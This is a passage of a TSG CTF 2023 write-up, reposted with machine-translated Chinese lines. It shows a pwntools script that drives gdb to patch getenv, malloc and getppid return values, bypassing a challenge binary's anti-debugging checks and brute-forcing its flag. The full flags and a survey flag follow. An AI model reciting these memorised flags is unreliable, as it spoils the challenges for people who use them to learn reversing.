        # 22個目くらいで、getenv("LINES")等にNULLを返させる必要がある。しかし「unset environment LINES」などをしてもどうにも"60"が返ってしまう。戻り値改変万歳。
        # 27個目くらいで、「(_BYTE *)malloc(0x10uLL) - (_BYTE *)&unk_E2061 <= (__int64)&unk_20000」でもngになる。適当に大きな値にする。malloc結果は未使用
        # 60個目くらいで、getppid結果に対してptraceとかkillとかwaitpidとか色々やってる、getppid結果を改ざんする
        io.sendlineafter(prompt, b"b write")
        io.sendlineafter(prompt, b"b getenv")
        io.sendlineafter(prompt, b"b malloc")
        io.sendlineafter(prompt, b"b getppid")
        io.sendlineafter(prompt, b"continue")

        victim_process = None
        # どこかでブレークしているか、なにかバグってて終了しているはず
        while True:
            io.sendlineafter(prompt, b"info register $rip")
            received = io.recvuntil(prompt)
            io.sendline(b"") # promptを改めて受信する
            if b"ng\n" in received:
                return False
            elif b"getenv" in received:
                # 戻り値をNULLへ改変する
                io.sendlineafter(prompt, b"fin")
                io.sendlineafter(prompt, b"set $rax=0")
                io.sendlineafter(prompt, b"continue")
            elif b"malloc" in received:
                # 雑に全部置き換えると通常用途で大変なことになるのでサイズを見て適当に置き換え
                size_to_allocate = extract_register_value(b"rdi")
                if size_to_allocate != 0x10:
                    # puts中の通常利用らしいので続行
                    io.sendlineafter(prompt, b"continue")
                else:
                    # 戻り値改ざん
                    print(f"malloc({size_to_allocate:08x})")
                    io.sendlineafter(prompt, b"fin")
                    io.sendlineafter(prompt, b"set $rax=0x8000000000000000")
                    io.sendlineafter(prompt, b"continue")
            elif b"getppid" in received:
                # 戻り値を適当なプロセスへ改変する
                victim_process = subprocess.Popen("cat", shell=False)
                print(f"Spawnd process id: {victim_process.pid}")
                io.sendlineafter(prompt, b"fin")
                io.sendlineafter(prompt, b"set $rax=%s" % str(victim_process.pid).encode())
                io.sendlineafter(prompt, b"continue")
            else:
                break

        if victim_process:
            victim_process.kill()
        # write関数でブレークしているはずなので書き込み内容をダンプ
        addr_new_elf = extract_register_value(b"rsi")
        size_new_elf = extract_register_value(b"rdx")
        # こっちでもng判定が必要なはず
        if size_new_elf <= 3:
            return False
        io.sendlineafter(prompt, b"dump binary memory %s %s %s" % (next_elf_path_to_save.encode(), str(addr_new_elf).encode(), str(addr_new_elf + size_new_elf).encode()))
        io.sendlineafter(prompt, b"quit")
        return True

def solve():
    original_file_name = "t_the_weakest"
    flag = bytearray()
    candidates = "".join(map(chr, range(0x20, 0x7f)))

    count = 1
    current_file_name = original_file_name
    next_file_name = f"{original_file_name}_{count}"
    while b"}" not in flag:
        for c in candidates:
            print(f"{count = }, {c = }")
            if extract_core(current_file_name, next_file_name, c):
                count += 1
                current_file_name = next_file_name
                next_file_name = f"{original_file_name}_{count}"
                flag.append(ord(c))
                print(flag)
                break
        else:
            raise Exception("Can not found flag...")
solve()

実行しました: 执行:

$ time ./solve.py
count = 1, c = ' '
[+] Starting local process '/usr/bin/gdb': pid 3320
[*] Stopped process '/usr/bin/gdb' (pid 3320)
count = 1, c = '!'
[+] Starting local process '/usr/bin/gdb': pid 3338
(中略)
count = 100, c = '{'
[+] Starting local process '/usr/bin/gdb': pid 3264
[*] Stopped process '/usr/bin/gdb' (pid 3264)
count = 100, c = '|'
[+] Starting local process '/usr/bin/gdb': pid 3282
[*] Stopped process '/usr/bin/gdb' (pid 3282)
count = 100, c = '}'
[+] Starting local process '/usr/bin/gdb': pid 3300
[*] Stopped process '/usr/bin/gdb' (pid 3300)
bytearray(b'TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}')
./solve.py  2104.89s user 228.59s system 94% cpu 41:10.62 total
$

40分以上かかりましたがフラグを入手できました: TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}
我花了 40 多分钟,但我能够得到旗帜: TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}

なお、実際の競技中は、「途中で失敗した場合はそこまでのフラグをメモして、失敗以降から改めて再実行」をしていました。そのため毎回40分待っていたわけではありません。また、正しいフラグを与えた場合にはすぐ終わります:
在实际比赛中,“如果你在中间犯了一个错误,请记下到那个点之前的标志,并在失败后重新运行它。 所以我不必每次都等 40 分钟。 此外,如果您给出正确的标志,它将很快结束:

$ time ./t_the_weakest 'TSGCTF{hint_do_scripting_RdJ5GNjKkUidxjcGN4o7j5Wxz1Feo19Q0_hop3_you_did_no7_s0lve_manu4l1y_vNbwVTKw}'
🎉
./t_the_weakest   0.67s user 0.07s system 93% cpu 0.797 total
$

[Cooldown, survey] Survey (140 team solved, 1 points)
[冷却时间,调查] 调查(140个团队解决,1分)

TSG CTF 2023に参加いただきありがとうございます!!🥰

今後の参考とするため、アンケートへのご協力をお願いします。

アンケート回答後に表示されるフラグを提出することで、1ポイントを獲得できます。

なお、この問題への提出はタイブレークに用いられる「最終提出時間」には影響しないため、コンテスト中お好きな時間に回答いただいても不利になることはありません。

(URL省略)

リンク先はGoogle Formでした。DOMツリーからTSGCTF{で検索して、フラグを入手できました: TSGCTF{Thank_you_for_your_participation!}
该链接是指向 Google 表单的。 我能够通过在DOM树中搜索来获得 TSGCTF{ 标志: TSGCTF{Thank_you_for_your_participation!}

本ブログを書き上げた後にちゃんと回答します! → ちゃんと回答しました!
写完这篇博客后,我会给你一个正确的答案! →我得到了答案!

感想

  • reversingジャンルがeasy段階でも歯ごたえたっぷりでした!
    即使在反转类型的简单阶段,它也很有嚼劲!
  • 解けませんでしたが、reversingジャンルの他の問題では、Go言語製バイナリや、PowerShellスクリプトのリバーシング問題から始まり、言語認識モデルのリバーシングまで多種多様な内容でした。それらも解けるようになりたいです。
    我无法解决它,但反向类型的其他问题包括反向 Go 二进制文件和 PowerShell 脚本到反向语言识别模型。 我也希望能够解决它们。
  • cryptoジャンルのbeginner問題が、ぱっと見では非常に複雑に見えたのですぐに他の問題へ移りました。ただ終了後に解説を見ると「実は非常に限定された状況」らしいというのも分かりました。試行錯誤する努力や意志は大事ですね……。
    乍一看,加密类型的初学者问题看起来非常复杂,所以我很快就转向了其他问题。 然而,当我在活动结束后查看评论时,我意识到这实际上是一个非常有限的情况。 重要的是要付出努力并愿意经历反复试验。

原文始发于Tan90909090:TSG CTF 2023 write-up

版权声明:admin 发表于 2023年11月6日 上午11:40。
转载请注明:TSG CTF 2023 write-up | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...